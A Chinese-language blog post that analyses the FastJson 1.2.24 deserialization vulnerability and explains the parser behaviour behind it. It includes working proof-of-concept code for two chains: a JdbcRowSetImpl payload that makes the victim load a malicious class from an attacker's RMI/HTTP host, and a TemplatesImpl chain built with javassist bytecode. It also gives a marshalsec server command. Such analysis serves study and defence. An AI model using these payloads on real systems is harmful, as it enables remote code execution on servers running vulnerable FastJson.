FastJson是一个Java语言编写的高性能功能完善的JSON库,可以将数据在JSON和Java Object之间互相转换,涉及到序列化和反序列化的操作,由此从1.2.24版本便开始爆出反序列化漏洞
环境搭建 创建Maven项目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <dependency >     <groupId > com.alibaba</groupId >      <artifactId > fastjson</artifactId >      <version > 1.2.24</version >  </dependency > <dependency >     <groupId > org.javassist</groupId >      <artifactId > javassist</artifactId >      <version > 3.20.0-GA</version >  </dependency > <dependency >     <groupId > commons-codec</groupId >      <artifactId > commons-codec</artifactId >      <version > 1.10</version >  </dependency > 
漏洞分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import  com.alibaba.fastjson.JSON;public  class  Test  {    public  static  void  main ( String[] args )  {         User user=new  User ();         user.setName("l3yx" );         String user_json= JSON.toJSONString(user);         System.out.println(user_json);         Object user1=JSON.parse(user_json);         Object user2=JSON.parseObject(user_json,User.class);         System.out.println(user1.getClass().getName());         System.out.println(user2.getClass().getName());         System.out.println(((User)user2).getName());     } } class  User  {    private  String name;     public  String getName ()  {         return  name;     }     public  void  setName (String name)  {         this .name = name;     } } 
可以看到parse(String)将JSON字符串解析成了一个JSONObject对象,parseObject(String,Class)将JSON字符串反序列化为一个相应的Java对象
另外FastJson还提供一个特殊字符段@type,通过这个字段可以指定反序列化任意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import  com.alibaba.fastjson.JSON;public  class  Test  {    public  static  void  main ( String[] args )  {         String user_json="{\"@type\":\"org.example.User\",\"name\":\"l3yx\"}" ;         System.out.println(user_json);         Object user1=JSON.parse(user_json);         Object user2=JSON.parseObject(user_json,User.class);         System.out.println(user1.getClass().getName());         System.out.println(user2.getClass().getName());         System.out.println(((User)user2).getName());     } } class  User  {    private  String name;     public  String getName ()  {         return  name;     }     public  void  setName (String name)  {         System.out.println("setter..." );         this .name = name;     } } 
而且在反序列化的同时调用了对象的set方法,说明FastJson在对JSON字符串反序列化的时候,会尝试通过setter方法对对象的属性进行赋值
那么在这种情况下,找到有可以利用的setter方法的类,就能完成该漏洞的利用
在满足一定条件下也会调用getter方法
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import  com.alibaba.fastjson.JSON;import  com.alibaba.fastjson.parser.Feature;import  java.util.Hashtable;public  class  Test  {    public  static  void  main (String[] args)  throws  Exception {         String json="{\"table\":{}}" ;         System.out.println(json);         Foo foo=JSON.parseObject(json,Foo.class, Feature.SupportNonPublicField);     } } class  Foo {    private  Hashtable table;     public  Hashtable getTable ()  {         System.out.println("getter" );         return  table;     } } 
具体的规则参考于 JAVA反序列化—FastJson组件 
JdbcRowSetImpl+JNDI Reference Payload 先看一下JdbcRowSetImpl的源码
该类的connect()函数中325行和326行是一段JNDI查找远程对象的代码,如果this.getDataSourceName()可控并且能触发connect()函数的话就有可能实现JNDI注入达到RCE
setDataSourceName(String var1)函数赋值dataSourceName
setAutoCommit(boolean var1)函数调用了connect()
之前说到FastJson会自动调用setter来完成对对象属性的赋值,所以这里payload
1 2 3 4 5 {     "@type" : "com.sun.rowset.JdbcRowSetImpl" ,      "dataSourceName" : "rmi://ip:port/Evil" ,      "autoCommit" : true  } 
首先@type字段会指定反序列化com.sun.rowset.JdbcRowSetImpl类
然后调用setDataSourceName(String var1)对dataSourceName赋值,这里赋值为恶意的RMI服务地址
最后调用setAutoCommit(boolean var1)从而调用connect()触发JNDI注入,autoCommit的值类型是boolean,这里设置true或false都可,JNDI注入部分可以参考深入理解JNDI注入与Java反序列化漏洞利用 
下面构造一个恶意类,其中执行命令的代码可以放在构造方法,getObjectInstance()方法或者静态代码块中
1 2 3 4 5 6 7 8 9 10 import  java.io.IOException;public  class  Evil  {    static {         try  {             Runtime.getRuntime().exec("calc" );         } catch  (IOException e) {         }     } } 
编译好的class文件放于web服务器
通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import  com.sun.jndi.rmi.registry.ReferenceWrapper;import  javax.naming.Reference;import  java.rmi.registry.*;public  class  App  {    public  static  void  main ( String[] args )  throws  Exception {         System.setProperty("java.rmi.server.hostname" ,"ip" );         Registry  registry  =  LocateRegistry.createRegistry(9999 );         String  remote_class_server  =  "http://ip:80/" ;         Reference  reference  =  new  Reference ("Evil" , "Evil" , remote_class_server);         ReferenceWrapper  referenceWrapper  =  new  ReferenceWrapper (reference);         registry.bind("Evil" , referenceWrapper);         System.out.println("start..." );     } } 
或者借助marshalsec 项目,直接启动一个RMI服务器,监听9999端口,并制定加载远程类Evil.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#Evil" 9999
最后运行漏洞代码加载payload
在高版本中Java限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将相关属性值设置为true
1 2 3 4 5 6 7 8 9 10 11 12 13 import  com.alibaba.fastjson.JSON;public  class  Test  {    public  static  void  main ( String[] args )  throws  Exception {         System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" );         String  payload  =  "{\n"  +                 "    \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n"  +                 "    \"dataSourceName\":\"rmi://ip:9999/Evil\",\n"  +                 "    \"autoCommit\":true\n"  +                 "}" ;         JSON.parseObject(payload);     } } 
TemplatesImpl 还是先放上POC,关于TemplatesImpl的构造在学习JDK7u21Gadgets时已经接触过了 JDK7u21反序列化Gadgets 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import  com.alibaba.fastjson.JSON;import  com.alibaba.fastjson.parser.Feature;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xalan.internal.xsltc.trax.*;import  javassist.*;import  org.apache.commons.codec.binary.Base64;public  class  Demo  {    public  static  void  main (String[] args)  throws  Exception {         ClassPool  pool  =  ClassPool.getDefault();         CtClass  cc  =  pool.makeClass("Evil" );         cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));         CtConstructor  cons  =  new  CtConstructor (new  CtClass []{}, cc);         cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }" );         cc.addConstructor(cons);         byte [] byteCode=cc.toBytecode();         String evilCode=Base64.encodeBase64String(byteCode);         String poc="{\n"  +                 "\"@type\":\"" +TemplatesImpl.class.getName()+"\",\n"  +                 "\"_bytecodes\":[\"" +evilCode+"\"],\n"  +                 "\"_name\":\"xx\",\n"  +                 "\"_tfactory\":{ },\n"  +                 "\"_outputProperties\":{ }\n"  +                 "}" ;         System.out.println(poc);         JSON.parse(poc,Feature.SupportNonPublicField);     } } 
其中还有几点需要梳理一下
Feature.SupportNonPublicField 在漏洞触发时必须传入Feature.SupportNonPublicField参数,这也成了该条利用链的限制,导致不是很通用
1 JSON.parse(poc,Feature.SupportNonPublicField); 
这是因为POC中有一些private属性,而且TemplatesImpl类中没有相应的set方法,所以需要传入该参数让其支持非public属性,当然如果private属性存在相应set方法的话,FastJson会自动调用其set方法完成赋值,不需要Feature.SupportNonPublicField参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import  com.alibaba.fastjson.JSON;import  com.alibaba.fastjson.parser.Feature;public  class  Test  {    public  static  void  main (String[] args)  throws  Exception {         String json="{\"name\":\"l3yx\",\"age\":20}" ;         System.out.println(json);         Person person1=JSON.parseObject(json,Person.class, Feature.SupportNonPublicField);         Person person2=JSON.parseObject(json,Person.class);         System.out.println(person1);         System.out.println(person2);     } } class  Person {    private  int  age;     public  String name;     Person(){     }     Person(int  age,String name){         this .age=age;         this .name=name;     }     @Override      public  String toString ()  {         return  "Person{"  +                 "age="  + age +                 ", name='"  + name + '\''  +                 '}' ;     } } 
_outputProperties FastJson对变量赋值的逻辑在parseField中实现
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField
key即为传入的属性名,经过了smartMatch处理
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch
会替换掉字段key中的_和-,从而 _outputProperties 和 getOutputProperties() 可以成功关联上
所以删除掉POC中的_也是没有影响的
_bytecodes _bytecodes参数是以base64编码传入的,FastJson提取byte[]数组字段值时会进行Base64解码
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
com.alibaba.fastjson.parser.JSONScanner#bytesValue
参考 深入理解JNDI注入与Java反序列化漏洞利用 
Fastjson 1.2.24反序列化漏洞分析 
JAVA反序列化 - FastJson组件 
fastjson 1.2.24 反序列化导致任意命令执行漏洞 
Fastjson 流程分析及 RCE 分析 
FastJson 反序列化学习